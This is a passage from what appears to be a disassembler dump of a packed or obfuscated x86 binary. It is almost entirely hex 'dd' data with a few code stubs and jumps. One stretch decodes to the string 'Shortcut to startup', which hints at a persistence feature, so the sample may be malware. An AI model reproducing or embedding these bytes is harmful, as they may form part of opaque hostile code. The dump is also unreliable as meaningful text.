4BA5200h, 29000000h, 34875AD6h dd 5A685C24h, 89000061h, 9C68243Ch, 89000049h, 4E682434h dd 89000030h, 41B9240Ch, 8906155Ah, 0B06859CFh, 89000022h dd 4832424h, 815E0424h, 4ECh, 243C8900h, 0FF08468Fh, 815E2434h dd 4C4h, 2434FF00h, 4C4815Fh, 0E9000000h, 0FFFB2144h, 7F3B5A04h dd 0C1B8DA04h, 306155Eh, 60E0FFC5h, 2D594E55h, 734F8E74h dd 0E9734AD3h, 13h, 265B9BEFh, 3 dup(0) dd 0E9000000h, 528h, 6ADE21D1h, 4AFE35EBh, 61DD16CBh, 44F835DAh dd 58D413B5h, 40E41672h, 1BCE4D01h, 33D75EDAh, 0EB544F8h dd 966A65D9h, 0D9232F93h, 62EAC76Bh, 50447932h, 0E4589739h dd 8D79AE55h, 4417550Eh, 0EDFB1BB3h, 2B183D58h, 0CE1B8E3Eh dd 0E187FEF2h, 0DCC3F6AAh, 0EE23DC45h, 0BB0702DCh, 5B6DCC39h dd 0E574EAFFh, 0C3520641h, 60A6491Fh, 69685AF3h, 27DBF7E6h dd 5C7B274Bh, 2ABC68A9h, 0A8DF8554h, 51457A31h, 8C23F8D5h dd 0A2D98F4Ah, 0F4936BB5h, 0A6C3379Dh, 8A3E792Dh, 6BDEBBB0h dd 0EBA9797Dh, 699E450Eh, 9651EEBDh, 0E5D66DCCh, 16CD8C4Eh dd 0BA130CE1h, 2A336A4Bh, 0ABC0FBAFh, 0AF45h, 4D78700h dd 8D46235Eh, 0A6F5A1D6h, 6DCC7C1Eh, 0C501A01Fh, 601451F6h dd 63A44504h, 0E196B3AFh, 336B3610h, 1F0h, 7A325A00h, 7CE45E4Dh dd 24006DCCh, 7CE35F4Ah, 27036DCCh, 56E5574Bh, 0C15E6BB1h dd 4AF316FDh, 0E1F67A26h, 617BB25Ah, 0C02B936Ch, 0F2079459h dd 0B5F29534h, 3069209Bh, 0B36C6B1Bh, 4DF3927Eh, 4F066A16h dd 0A8AF6398h, 2F4B7817h, 0EF6D2C0Ah, 203CCFF3h, 9DBAF599h dd 6BE67FEh, 0ABB9BFC6h, 0CCB64200h, 0A1C6A26Dh, 94B0A2B4h dd 1AEAA118h, 0AAEB9E74h, 4C2EAAC6h, 9CE3B71Fh, 600CFB4Fh dd 90D7046Fh, 31FBD00Fh, 533F7E32h, 0A1558C34h, 0F938D7ECh dd 8DCA7D57h, 5B99D99h, 0EC98CD76h, 13FF38EDh, 50F8CE74h dd 0ED096D19h, 0B3EAA239h, 5AF98ABFh, 5FF68D76h, 0D70CC07Bh dd 0CC7C6ED4h, 0C6AA866Dh, 3433EEB1h, 6D13336Bh, 79000000h dd 533F7E32h, 0A0548D34h, 0BB1FB60Dh, 0DB9C092h, 9E2E1B5Ch dd 32A9BE4Eh, 0C8B3F7Eh, 6471958h, 34C1239Ah, 6B1B308Fh dd 867AB76Ch, 0EA0FA6DDh, 336A5C37h, 4A17h, 7E327500h dd 58532D3Fh, 6DCC7CEAh, 4D390E0Ah, 0A95D984Eh, 58412A56h dd 3B15FB32h, 0F68D2E4Bh, 8A3E7D2Fh, 67DBCEB0h, 0B86DCCFAh dd 4521D514h, 30FCD14Dh, 4F437A32h, 0CC7CBF08h, 0A03F806Dh dd 6B356C45h, 14C33h, 32BE0000h, 374E427Bh, 0D207C090h dd 721E421Eh, 9832D160h, 0B61C85C6h, 0CE488E37h, 0CC0C9B27h dd 289F7B6Dh, 0A62D4A7Fh, 0AD12C6FFh, 0F09BB526h, 67FC760Bh dd 8E4D1FFBh, 51AE9BDAh, 0FDEF0AD6h, 23A26479h, 0B3793E7Ch dd 2B122CE2h, 2E7C781h, 0BD99A8CFh, 9CD17A01h, 0BF03C1E8h dd 5F40943Ch, 8C3306C0h, 0B2C7AB57h, 914D8229h, 782C610Ah dd 8175AA61h, 1918B7CCh, 0BE813D72h, 397A72F3h, 140D3h dd 0BD5C3900h, 6C5D4C1Eh, 7A67FC26h, 0C178F29Eh, 3BF8D50Ah dd 5CDB4F84h, 3826EA3h, 1E7B275Ch, 0DD65243Ah, 399423AAh dd 0E47B203Dh, 0B96BE9E2h, 2AD136ECh, 0A8DD864Dh, 0F3A86934h dd 5288397Bh, 0B6000000h, 4A61E1C8h, 0A9859423h, 0C15CF8D4h dd 9B1E401Ah, 7BF7ABE8h, 7C3DA55Eh, 0C2D9EDCCh, 431FD30Ah dd 9E24731Fh, 3FEDCC7Ch, 4F6AE180h, 2BB7728Ch, 0CB6DCC7Ch dd 0C26ADB4Fh, 96000000h, 3FF168h, 0CC7CA919h, 0C2802B6Dh dd 226DCC7Ch, 0FDDA5646h, 15BD5C27h, 6E14324Bh, 0FCCEF2A9h dd 0FC176C0Dh, 0E5D3F867h, 397972D5h, 0E0D288DAh, 9A453FBh dd 3E322EF4h, 0EE6DFFECh, 4BBB11F2h, 0C499D88Ch, 9F1B50F7h dd 463A6F18h, 3C43A41Fh, 6D049B94h, 72E61BC4h, 0FBD5060Dh dd 0B210FBE5h, 52943C41h, 5D498A3Bh, 23E0FDD9h, 9E09E6C2h dd 32691F9Ah, 907D93Eh, 6AFEFE58h, 0DB57486h, 0E99E1665h dd 0AEAA708Dh, 0E71CC3C2h, 7B1AA93Bh, 0F406D5E4h, 8D35F40Ah dd 699E1665h, 0D233F00Dh, 8A9423C2h, 35E11ACFh, 0A661C31h dd 8BC469F0h, 0F8BE9B97h, 2AF52526h, 49DB845Eh, 72876BA4h dd 1EBD5CDAh, 0DBB85D4Ch, 0EA4667F9h, 18E89F36h, 9D113574h dd 4430651Eh, 55DAF415h, 0DE15CBF4h, 0B4EF9332h, 0BF56EDC0h dd 0E195D076h, 0F5CE6185h, 0FB30D75Eh, 0DA0FB83Fh, 7EF3CB00h dd 1BF6360h, 79403AECh, 0D8218FD7h, 39E92736h, 0F00D691Dh dd 8F83C063h, 4ED76E05h, 708E6095h, 572709B9h, 5C71EDB4h dd 77AC53E2h, 221A8Bh, 93260000h, 67CBB7ECh, 9DEFBE82h dd 0B7941BD0h, 3F215FEDh, 9E31B50Eh, 8574AFF4h, 6DCC6E3Dh dd 0A4805DD9h, 493D8032h, 0B0649952h, 463A7519h, 0A95D9E4Fh dd 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h, 55417830h dd 5B5453CFh, 4C381h, 0EB830000h, 241C8704h, 0E689565Ch dd 4C681h, 0EE810000h, 4, 5C243487h, 68243489h, 109Ch dd 83243C89h, 48904ECh, 7321B824h, 40BE6AA9h, 19B6BECh dd 8B5458C6h, 0C483243Ch, 4EC8304h, 8F243489h, 3C8B0847h dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 2434FF5Ch dd 4C4815Eh, 0E9000000h, 0FFFB1BE8h, 867EA415h, 156412B8h dd 0FFC50306h, 5A8165E0h, 8B004860h, 873C2D0Fh, 702B8B5Ch dd 0B0E974h, 66600000h, 0C2F6DA8Ch, 0C850F04h, 3B000000h dd 10149985h, 36840F06h, 3B000000h, 1020E585h, 2A840F06h dd 3B000000h, 102E6185h, 1E840F06h, 3B000000h, 100F7985h dd 12840F06h, 83000000h, 101C95BDh, 840F0106h, 5, 5FE9h dd 3D08B00h, 0BA8B3C52h, 88h, 85784A8Bh, 49840FC9h, 81000000h dd 0F8C2h, 0C728B00h, 598BC803h, 14518B1Ch, 0B8BD803h dd 840FC985h, 10h, 820FCE3Bh, 17h, 830FCF3Bh, 0Fh, 4A04C383h dd 0FFDC850Fh, 0DE9FFFFh, 8D000000h, 104E859Dh, 5B806h dd 0E3FF0000h, 0D00BC361h, 0CE8h, 92720400h, 309C82F4h dd 5E02E430h, 0DBD8BA8h, 5B06101Ch, 9AC381F9h, 8B000069h dd 101AE1B5h, 89C03306h, 1009C9BDh, 1834FF06h, 1BD58D31h dd 0BE5A0610h, 58F4F8B9h, 0E6E7C281h, 59571BBDh, 0DD53F281h dd 9D015474h, 61013ADh, 1143EA81h, 958905D3h, 610003Dh dd 89031489h, 1029799Dh, 0C8B96606h, 3E883BFh, 8B485E50h dd 1007D1BDh, 24F88106h, 0FFFFF97h, 2985h, 10E900h, 55A00000h dd 0E79DF83h, 0CAF31EF4h, 26E344A5h, 2CE9A955h, 9F000000h dd 4C2A5271h, 7B33BADBh, 3CD4881Eh, 0BD239667h, 6100FB9h dd 0FFFF78E9h, 0FDA8A8FFh, 31CF959Ch, 76BE4F1Ah, 0C2FCE75Bh dd 0E935F4BBh, 76h, 3D163F38h, 726F6853h, 74756374h, 206F7420h dd 72617473h, 707574h, 17h dup(0) dd 0ADE90000h, 6800000Eh, 6156834h, 0FBE443E9h, 690B68FFh dd 39E90615h, 68FFFBE4h, 6156AD1h, 0FBE42FE9h, 6B1F68FFh dd 25E90615h, 68FFFBE4h, 6156BF9h, 0FBE41BE9h, 6C6E68FFh dd 11E90615h, 68FFFBE4h, 6157067h, 0FBE407E9h, 72CE68FFh dd 0FDE90615h, 68FFFBE3h, 61573DBh, 0FBE3F3E9h, 0BB6D62FFh dd 7C117E6h, 0C0726B5Ah, 782A2293h, 0CE88DA2Bh, 40C3B381h dd 0B203500Ah, 3DB0E59Fh, 0BB0A5709h, 43A1EEA8h, 0AB3443B0h dd 0C7211DDDh, 0AA075CD3h, 0C8453A5Dh, 3BC81B17h, 17C8451Ch dd 4D194D39h, 73E89976h, 943BF5EBh, 0D118ABE6h, 0E78C6EA5h dd 184CD228h, 0DEED3C57h, 0C46A6F24h, 4884F1C0h, 1289BB96h dd 0A1A605D6h, 62780300h, 941DD897h, 943BF5E5h, 7E29ABE6h dd 86A41EB6h, 209F4FE5h, 0B875C0D3h, 5A00F11h, 9382A72Dh dd 4096BEh, 48EA0000h, 0D690C11Ah, 68570BB7h, 0F458FC17h dd 7E41C25h, 0C7731AD4h, 0F3F5D29Bh, 841DD8B5h, 87AEF998h dd 4811B8B4h, 0D423E099h, 0B8B50827h, 54A14D11h, 7C2647F9h dd 0BE934816h, 0B307h, 0AB5A5B00h, 685DFEB8h, 0CB1AB973h dd 67B6DD97h, 3776AB74h, 131ADEFh, 0ECDF2E55h, 1C2EBB32h dd 0EEAF5B62h, 0F7F448B7h, 538817C8h, 0EAF9CC99h, 2309130h dd 0BAF8837Ah, 5D1DD8FCh, 51FDE4B1h, 0DA25D62Dh, 11B8DFB7h dd 56ADEE9Eh, 0CB9797A9h, 0BD34E017h, 33601A30h, 0E0D690C2h dd 0E212B18Eh, 7019AFB2h, 2800000Ch, 0D5287D2Fh, 299CC983h dd 0E0CD8234h, 905D32E4h, 61D3803Ah, 2BC0E91h, 0AF69604Dh dd 9BB13E2h, 0C07A695Ch, 35C21193h, 1DDDAD22h, 5CE59533h dd 0FDB7AB06h, 44D67906h, 8F7F17C8h, 2C1F8EC3h, 93807B72h dd 0B4866457h, 7A287D1Eh, 8B621A48h, 0D845E2E0h, 1048951Dh dd 38830A56h, 11B84515h, 986A03BAh, 0BE93B812h, 0B803h dd 75C4700h, 0E3F7464Dh, 0C89C4E88h, 0A0528CF9h, 0B387D4FFh dd 0C917C849h, 42B3E09Ah, 0D5385711h, 49480669h, 0C0EF2415h dd 76D01D94h, 0DB289BC4h, 1DD7861Dh, 54550AFAh, 0DC2796EEh dd 17CA1DBDh, 6615EC98h, 0B60BBD17h, 39E5EC9Eh, 833D8D78h dd 2130BB2Ch, 340BA4B4h, 6F3E2748h, 0CF4BA15Bh, 0F3E21424h dd 0B99D870h, 0FE510000h, 0B2A6174Ch, 35AABF8h, 9BB10451h dd 1949BCE9h, 7242325Fh, 0B4E19BAFh, 9561041h, 0A3F0A2BCh dd 1A470152h, 9DBC479Ah, 0B81DDDADh, 65C6A1Eh, 0B5A6174Ch dd 0DE3A41ECh, 0CA965B7Eh, 2AD52695h, 17C90107h, 8E35E7DFh dd 0C99282E0h, 0AE3D5AA1h, 1878F77Ah, 40ABCE39h, 0FAAA17C9h dd 0CB0005A6h, 0FD53A211h, 240CDB34h, 0A7FBCB53h, 4B80CD06h dd 79D32291h, 59783226h, 0EDB8F9ADh, 6F3E46ECh, 0D6014994h dd 20411925h, 733A58A3h, 711D1DD9h, 116E0552h, 0F26111B9h dd 0D9ED7C37h, 0F65C8627h, 0E7BE92EBh, 7, 817133Bh, 48970000h dd 0E08B621Ah, 1DD8561Ah, 53A221CDh, 8774600h, 0B833DC7Bh dd 0E48D7911h, 651F3481h, 57A4115Eh, 3A8E78FCh, 6135E7DFh dd 65C01362h, 0E6EDB973h, 0DFF7B231h, 917691E2h, 0E1E06E4Fh dd 0A540630Ch, 7421DBF0h, 0F9985281h, 738288AEh, 0C1BE3DAAh dd 359E06Ah, 0C1843251h, 416AFD1Ah, 0FD4E07A2h, 0AC9F0E43h dd 0FF6CFBF2h, 0AA736670h, 0CAA86276h, 0B10291DAh, 0DB3C42D6h dd 0BDDE2C76h, 743E204Ah, 0E8A2B8AAh, 8F419CE9h, 670271F0h dd 54A3FC4Fh, 743D88A7h, 8021CDAAh, 0C81BCA63h, 5F74410Eh dd 3CE27502h, 8373AA74h, 3C91E0CFh, 0ED48038Ah, 6D9A3232h dd 7E15560Ah, 604F371Bh, 8463E913h, 774636B0h, 12DC7B08h dd 8D79A464h, 0B61F81E4h, 509FE74Bh, 743675A3h, 8CC431AAh dd 5AAB89D2h, 46FE5204h, 64CFCB7Bh, 579E57Ch, 176F41AEh dd 0BC68C653h, 0F68EB415h, 8A637C07h, 0EFEC046h, 4701529Fh dd 0FEB8AB1Ah, 995A52A8h, 851B9E39h, 9D3h, 0EDA2548Bh dd 410EC800h, 0FAA75974h, 721FD10Bh, 0C0954F83h, 0D101846Ch dd 667B4A17h, 0D006F7ACh, 4F84711Eh, 8DDCC095h, 0DDAF4FE2h dd 0C068061Dh, 0FEB8AB5Ah, 3B8AD37Fh, 0C17BCD28h, 0A55F73C2h dd 0B747A5F1h, 3D5F093h, 985E880h, 0A3D0000h, 0A6BA0B58h dd 0F46B7ECh, 9FB5085Dh, 1545B8EDh, 4E36065Bh, 88DD97CBh dd 356A2435h, 87DC8EC8h, 366B2536h, 0B9D823B6h, 9C1DDDAFh dd 75C5642h, 0E3F7464Dh, 0F8877C29h, 0C844EC8Bh, 0F4BD6917h dd 62CD5FCh, 96C42F7Eh, 101DD868h, 86D2A45Fh, 0C45FA86Bh dd 0B8105EF1h, 56F98611h, 0FF11B810h, 3C65110Fh, 0B10C4C38h dd 0D375695Fh, 0BE3549F5h, 0ABF5F31h, 358C7856h, 0B35FA5Ah dd 0DC85A729h, 70AB68B7h, 2E7F0D0Ah, 92C802C8h, 879127AFh dd 7C67CBE6h, 0EACB60EFh, 5D09F549h, 9C31766h, 3093DC8Ah dd 0B4C330BFh, 0A149EACAh, 0C25BACF5h, 9F4FFE50h, 46F00EFh dd 43D74675h, 986B34E0h, 1340FAE9h, 49FB51A0h, 0F4AE9D28h dd 0E19298F6h, 27BDBCA9h, 8ABh, 0E5BA6C63h, 5906C018h dd 92BF716Ch, 2A772923h, 98CD87DBh, 959DCA4h, 9EB3024Fh dd 83EAFE4h, 0A7BC0956h, 0A534B8EDh, 0DDB0375Ah, 0D8C01E1Dh dd 464D075Ch, 782DDFF7h, 0C8454887h, 0A0E44A17h, 0A9B8A651h dd 37E71DDDh, 702A39C8h, 0C781D223h, 0AF6979C8h, 3544AF40h dd 2011B2DDh, 0A92B2C65h, 0EFA3D013h, 7ED825AEh, 8EAAEECCh dd 6BEEDC06h, 836D5h, 27D9EE00h, 9B558B7Ah, 2CDEF7C6h dd 9C4E8677h, 2AE4F6C7h, 7C3F0775h, 6F7AC66h, 794C19D3h dd 0FDEB365h, 4F4D02BCh, 0B0E06FFCh, 0DB751DDDh, 0AA075C2Fh dd 0C8453A5Dh, 376B1B17h, 0BF1A4998h, 79BDC089h, 167DB602h dd 0CB97434Ah, 8A5385F4h, 7B1FE25Eh, 16570BB4h, 0EB86157Dh dd 226F293Ah, 83902AB0h, 46B142B8h, 17C86933h, 0EAE99BB3h dd 2546363Ch, 4EC77h, 1A48CB00h, 0EBDE8B62h, 0FE49231h dd 655EFFB9h, 771A6516h, 0DE17C845h, 1C9A6D2Eh, 831DDDABh dd 1ECB1C93h, 0D0357628h, 15F2C17Bh, 55A5F118h, 0F5B0F1ECh dd 8E3543F4h, 2E41AE3Dh, 2711B2B6h, 9D13677h, 648B1F22h dd 0F85E34EDh, 0E93805AFh, 5Fh, 5EA95A41h, 17C8453Bh, 1D3CC71Ah dd 3817C845h, 0B6AB184Ch, 1D3EB3FCh, 48E7946Bh, 9C17C845h dd 4491A04Bh, 3FE717C8h, 0F021402Eh, 0AEEF9F85h, 6CB7D6C6h dd 3830930Dh, 1546B34Ah, 0D891125Bh, 0EA2994FAh, 1585D8h dd 5ADD0000h, 0D6FDB7ABh, 7AFE6D28h, 7DC19907h, 1E28834h dd 48200000h, 11626117h, 0EAB36D64h, 34B1C51Dh, 8039A891h dd 0F0243CA2h, 292D31h, 48750000h, 11626117h, 45821562h dd 14D317C8h, 0A71C3483h, 5A034FB3h, 34D8F66Dh, 0EF8A3991h dd 0EFF78D13h, 6C7C31h, 48C40000h, 0E5926117h, 17C84552h dd 0D5B00403h, 0EFF7670Dh, 0D324D3A3h, 0FF7E3026h, 67D16053h dd 0F58417C8h, 0C867E78Ah, 0D27E6E17h, 0FB45CE89h, 28FAB328h dd 0B88353C2h, 31B3h, 0E7335000h, 0F2930EBh, 4896D49Dh dd 0E5926117h, 17C84554h, 329E1905h, 2FCA7989h, 83B3CD53h dd 0CBCB8h, 13040000h, 138h, 975181F0h, 0E31394D6h, 97000000h dd 52521748h, 0AE2AE348h, 0A6586D42h, 0D8277B27h, 0B6BDDC27h dd 0EC9817C8h, 0C4BF10C3h, 756528BEh, 2B6614BBh, 9EBFCE37h dd 189A5D29h, 0B9286Dh, 0D3E4BC22h, 3125D40Dh, 5B52007Fh dd 780C8110h, 8728D4C2h, 6855h, 5F770600h dd 48A604ADh, 0E5926117h, 17C84552h, 1F6C1303h, 37E8722Ch dd 0E1B16CE3h, 0D8A3E47Bh, 35EFE491h, 2F706Ch, 48B80000h dd 1E31BE17h, 3717C845h, 57A41B47h, 17C84538h, 552711Dh dd 84E8728Eh, 3B17D281h, 25A3E0D5h, 18C4h, 0CD087500h dd 0A5C6741Bh, 5EA95AC5h, 17C8453Bh, 7B416A1Ah, 7Ch, 0B6AB5A0Fh dd 448BAE59h, 0DACA17C8h, 0EBE0E586h, 0B4419231h, 2FE7D49Dh dd 80982CF0h, 1A3C8BD4h, 8F17C889h, 0EBE09550h, 1B33C231h dd 0F3BC6A69h, 0A95AE8B2h, 644F015Ch, 17C844D5h, 271F9480h dd 94C52C75h, 0B95F01E4h, 9A39F3E6h, 6261134Bh, 73831EB5h dd 7621BC6Bh, 17C8521Dh, 0E50550CFh, 0B6EA8E42h, 849EC126h dd 372CD9B8h, 7A8567Dh, 0FFFEDBD5h, 5A132DFFh, 97000002h dd 0B5AC075Ch, 7A26D4FBh, 1BD50653h, 87FF6346h, 0E7765B38h dd 0D8C99CFh, 0E145F64h, 591DD8C3h, 0B2D926ADh, 1D11B897h dd 0B1370BA6h, 0A0BE9360h, 41h, 621A48E8h, 8FDC8Bh, 5517C845h dd 6CFB08A9h, 5516C8FDh, 0D8457072h, 6376071Dh, 43D67906h dd 8F7F11B8h, 420EBCC3h, 15C7FE6Bh, 59FC474Ch, 7611B844h dd 0CE542EC7h, 0BFBE93B8h, 0D2h, 4D075C03h, 4D88F546h dd 2546F49Bh, 0D1F0AAA0h, 75928582h, 0AA15026Bh, 15CF0401h dd 9D3BE19Eh, 0AAB0423Ch, 5083D201h, 8BFAC996h, 0F5D29B55h dd 17C8762Dh, 0D42FC4Fh, 0FDEA68Ch, 0DD78A360h, 0C7E47F05h dd 0C8655DFCh, 630CF817h, 1B021360h, 8FDE1DDBh, 55DF803Ah dd 5EA95AA9h, 11B5B03Bh, 0DF99C91Ah, 6C19EAB3h, 16E7BC76h dd 6EAC0AC4h, 0BADC0329h, 43D21B7h, 0E2F50000h, 3E926330h dd 0E7DECF84h, 378D6035h, 0EDDDD085h, 260E5E33h, 0E0B56F63h dd 4D02BC0Dh, 0DFB46660h, 4E03BD0Eh, 0E170FB4Eh, 741DDDB4h dd 0AB5A2EDAh, 0BD67EDB6h, 0CADABAE0h, 84BF796h, 0E1C00D7Fh dd 0A91C4505h, 6352FFB9h, 0BA47B670h, 83D2F1A3h, 0A2CB9749h dd 3D5A97C3h, 634530F8h, 0B503BCE2h, 0B5AE35Ch, 9CAF1657h dd 3D8EDBE2h, 67CBCE83h, 7923D01Fh, 0A61DD8F4h, 0E30762E7h dd 0CC98180Ch, 0F74C88F5h, 0B847ED8Ch, 0E8BC6811h, 5F743DE9h dd 0B8488314h, 1CD54411h, 0CD86E955h, 169F4AECh, 9D4CA3EFh dd 4F0155A8h, 6B594003h, 2B9F839Eh, 83F28182h, 362C994Bh dd 8A9557Ch, 0C8B0D5FFh, 0ABBED917h, 0DEF0F492h, 7521135Ch dd 0F195B920h, 0A6607302h, 371FE05h, 9C11BDF0h, 0A6A0FB4Fh dd 0FF53A0F4h, 0C4903E45h, 934580EDh, 2464F1BEh, 388E0593h dd 3AA3D986h, 0E7000000h, 0C845375Eh, 37AC9317h, 0B6646B1Dh dd 0D48B5EAh, 48E7345Bh, 4017C845h, 0E6DF964Fh, 388E5F34h dd 94CA3786h, 0CD1AB9E2h, 17C844A7h, 0D98C25BCh, 2D7ED385h dd 8FD08AC0h, 50025CDBh, 38EAE431h, 0F7B23199h, 6756083Eh dd 6B12C41Ah, 0F483F0BFh, 6117C844h, 4AB9ECB5h, 0C3ECA6BBh dd 0C8582D44h, 0CD524A17h, 0BEB883C6h, 0FFFFFF94h, 4D075C02h dd 2AE4F746h, 0B6CE7475h, 0E3BE4C47h, 5D19F907h, 0B140AF14h dd 46C1EA9Ch, 1DD926BCh, 0E193CB3Ah, 0C9C8B4C0h, 0B8FBD77Eh dd 1C69F811h, 0C36F0EC0h, 9270099Ah, 0BE92FD0Ch, 46FDh dd 0AB5A4500h, 7A05FCB6h, 17C844D7h, 0E4CD8E7Eh, 48B7067Eh dd 0FB4EA9B9h, 7B4C1541h, 1DD8456Dh, 56A31A0Ah, 9D494802h dd 0FF70BFD4h, 0B843E574h, 0DB847011h, 0B84449ECh, 1ED78611h dd 93B8DE44h, 0C7CFBEh, 5C130000h, 0F5464D07h, 552601Ah dd 7738C9ACh, 0FB823C8Eh, 0DCE39DAEh, 0CF843E8Dh, 0C9261CE0h dd 620D5E17h, 17C91BCFh, 55BB9686h, 0C049B2CAh, 0C211F4BDh dd 6D1A6F67h, 17C849CAh, 0C8C79B8Bh, 0AC19461Ah, 73D6FDB7h dd 0BB48B7CFh, 1DD85CC5h, 7C5D32E2h, 0B43FAED6h, 17CAEE1Dh dd 2016D28h, 0E15D759Eh, 9BAF3EB5h, 1141B4E1h, 544D6157h dd 0FA79E213h, 1D662h, 87398E00h, 3BF5EBDAh, 8C3E9766h dd 3CEEE6D7h, 8A449667h, 1C9F67D5h, 66570CC6h, 19ECB973h dd 6F3E13C5h, 0EFEDA25Ch, 0B7800F5Ch, 7BD51DDDh, 4C065C8Fh dd 0FBB5A617h, 55A655A6h, 0C84487AAh, 0D31ECE17h, 17C843C4h dd 57094491h, 95D68A38h, 621A48D5h, 3D8DDC8Bh, 0DBEDDA83h dd 9C1DD845h, 3C43F54Fh, 70BBC28Eh, 11B844DDh, 0F1A23BF2h dd 0C9924C84h, 93B753D9h, 0C942BEh, 24DF0000h, 9BB3DDB8h dd 593CEAE9h, 0B0A190D2h, 772BD7F6h, 505CFB88h, 0DF911B8h dd 75C0664h, 1699764Dh, 0C9681372h, 8C17C8F1h, 3A62A5E0h dd 0E332610Ah, 418E35EFh, 17C877F9h, 0C9965083h, 568CE7FCh dd 733AF59Ch, 0CE15D434h, 12B1E5B1h, 4FB83AFh, 6E690873h dd 0EC17C8h, 0C8E99BB3h, 80CAB03Bh, 31DD1DD8h, 0CD17D64h dd 0C7731AD4h, 0D1D7249Bh, 0B617CB0Eh, 588AF7C6h, 7302F19Eh dd 0FE07A85Ah, 829412CCh, 0C6E21334h, 0C92DC3h, 4E810000h dd 0E2F6C79Ch, 538A7B28h, 0CB01F4A1h, 69794C19h, 0A292E2AFh dd 6431EBDFh, 0D9864091h, 1340F2ECh, 0AAF7B1A2h, 2D4CB74Ah dd 281DDDB8h, 65CDACEh, 0B5A6174Ch, 5CFCA6FBh, 7764D07h dd 3D5617D1h, 7421DBF0h, 0C01CC16Dh, 0FBADA10Eh, 837A26D4h dd 8F2EE0F6h, 0BE49BAE3h, 1DDDAABCh, 0EC81B6Ah, 9A9AC36Fh dd 7794E3EAh, 9E900BCFh, 51E08B27h, 411B340h, 0A2234C18h dd 5BAAF7B1h, 3140AB08h, 2411B340h, 5AA52C78h, 4CB68B25h dd 7BCF1E6Dh, 5F73C2C1h, 24701EA5h, 16CD687Bh, 0F8B97367h dd 4F04BE0Dh, 0CB36D5Eh, 0AED587BDh, 1ED79201h, 0CF1E732Dh dd 7B2D217Ch, 3929D827h, 1FB5DE7Fh, 3, 5CBFEB63h, 0E3325103h dd 4A9736F0h, 0E5B6214h, 338201BBh, 0F5E651Fh, 338201BBh dd 19686719h, 1E6B12C4h, 9451702Ah, 81E68956h, 4C6h, 4EE8300h dd 5C243487h, 53243C89h, 0C381E389h, 4, 8704EB83h, 895C241Ch dd 8952241Ch, 4C281E2h, 81000000h, 4EAh, 24148700h, 2434895Ch dd 1E5ABE56h, 0A0BB6A57h, 19BBE48h, 24348BF3h, 4C481h dd 8B540000h, 0C4812434h, 4, 9D968h, 241C8900h, 0FF08468Fh dd 815E2434h, 4C4h, 2434FF00h, 4C4815Bh, 0E9000000h, 0FFFBD5A4h dd 0C1364C97h, 1574C9B8h, 0FFC50306h, 0C70974E0h, 9230255Ah dd 0D2149C03h, 2DB03D0Dh, 8BED3D67h, 9384541Eh, 55F4416Ch dd 0EF732F1Ch, 0C0D6B10h, 81FA6007h, 0CD431A71h, 0EF0F4805h dd 0CB091848h, 0DA048524h, 8E75DD37h, 0EF1AAA4Ah, 134BBC02h dd 0F1C12C46h, 614C7149h, 512DC155h, 9BAF737Ah, 9C13A16Dh dd 0DCD5A938h, 364EDA01h, 0A31A9D2Bh, 9D50A018h, 271E072Bh dd 0B0EE0048h, 0F03A0352h, 2AE976h, 0F2560000h, 57F0h dd 9 dup(0) ; --------------------------------------------------------------------------- jmp loc_5A2F9F ; --------------------------------------------------------------------------- db 34h, 92h, 4Fh dd 6DA45CDBh, 8AC36AF1h, 67A447CEh, 81C064F3h, 31A3DFCDh dd 0D8C407Fh, 189F1B5Ch, 0F4833772h, 0A7A2164Bh, 96CD6D5h dd 2B886BD9h, 447932A1h, 0ED55542Ah, 96DCC7Ch, 374E502Dh dd 0C6B34D95h, 0EB1675ACh, 1BC45307h, 0E49B3AE6h, 0F3967014h dd 74178EB2h, 0BE74B37h, 0A61C0FF1h, 3E6DCCF5h, 271905E2h dd 9BB0F194h, 0ED966820h, 8C68CCB8h, 259D8C72h, 0C16DCCF5h dd 0E3968865h, 43FC25BCh, 671B9A0Eh, 0F5CF7336h, 4B276DCCh dd 8F7FC81Eh, 0D5F1C773h, 0F12CE259h, 7687EEDFh, 140048D0h dd 0A1B6F195h, 17D08BE5h, 9B4E05E2h, 423CA65Ah, 15D56D1Ch dd 1C0F6DCCh, 6DCC15A6h, 2E2AE23Eh, 0C196D577h, 2CE243E2h dd 0A01DFF1h, 6DCC15B8h, 73EB005Ch, 35F86489h, 0EBD77563h dd 609E450Eh, 35EC4ED9h, 796FCFFCh, 0AA1813EDh, 4A6DCCCFh dd 57FEF2CEh, 6DCCCFEEh, 0F6F39231h, 336A831Bh, 46FBh dd 79325100h, 0BB095044h, 846DCC7Ch, 0A71B0EF0h, 3F6DCC7Ch dd 9E3506E3h, 6B35925Bh, 17233h, 32D80000h, 0DD4F437Ah dd 0B86CA95Eh, 6C149FBCh, 0A54A4135h, 0A201BC68h, 986A2203h dd 68CCB8F1h, 0A249D08Ch, 0D75BF16Dh, 70245D04h, 4B95C7F4h dd 8673DECAh, 0FE46EA71h, 36F61D5Dh, 564A26F6h, 0F83DE7E4h dd 0BA9FDA90h, 5126A13Eh, 0F7ABE28Ah, 686201A2h, 0B82F9396h dd 6BC76DCCh, 0E423C58Eh, 53AF168h, 9AD37A11h, 6F06BDE6h dd 6A70578Ah, 683733h, 92490000h, 0FDC7A4D9h, 0B94996D7h dd 0A882C012h, 256408D3h, 85DB224Bh, 1D0944EAh, 11223419h dd 56753146h, 9F5B6DAFh, 0F4427004h, 0B5254C7h, 0CEF2A86Ah dd 99388722h, 0F9B5F498h, 0E38FCE82h, 0E023FE4h, 52972E45h dd 336B098Fh, 306Fh, 7E32DD00h, 8E34533Fh, 734C9F53h, 7EB355DCh dd 0CC7C378Bh, 6F53CF6Dh, 7A322DBBh, 0BF084F43h, 806DCC7Ch dd 6C45A03Fh, 4C336B35h, 1, 427B32BEh, 0C5FAB128h, 867855D1h dd 6F23580Fh, 0EE37CE65h, 0FFECFE37h, 6C22DF3Dh, 0B70BFE49h dd 4F6DCCD7h, 64DAEFD3h, 9E3F8FFh, 0FCADF922h, 96956B67h dd 943CDD2Ch, 8B8F6CC8h, 5F134EF4h, 3933DF03h, 0E38FCE82h dd 3AF16A7Fh, 19D24905h, 0DB6930E4h, 98943CDDh, 53EF9AC4h dd 0B3943CDDh, 6201A2B7h, 73E71CC3h, 0F4063BE4h, 0FEB359F7h dd 2DDC8492h, 943CC295h, 0FCD1F571h, 623B300Ah, 111DF1A8h dd 2A93247h, 0DF84D9CDh, 0F52AE140h, 0FA2B8639h, 480B397Ah dd 81000001h, 4C1EBD5Ch, 0FC266C5Dh, 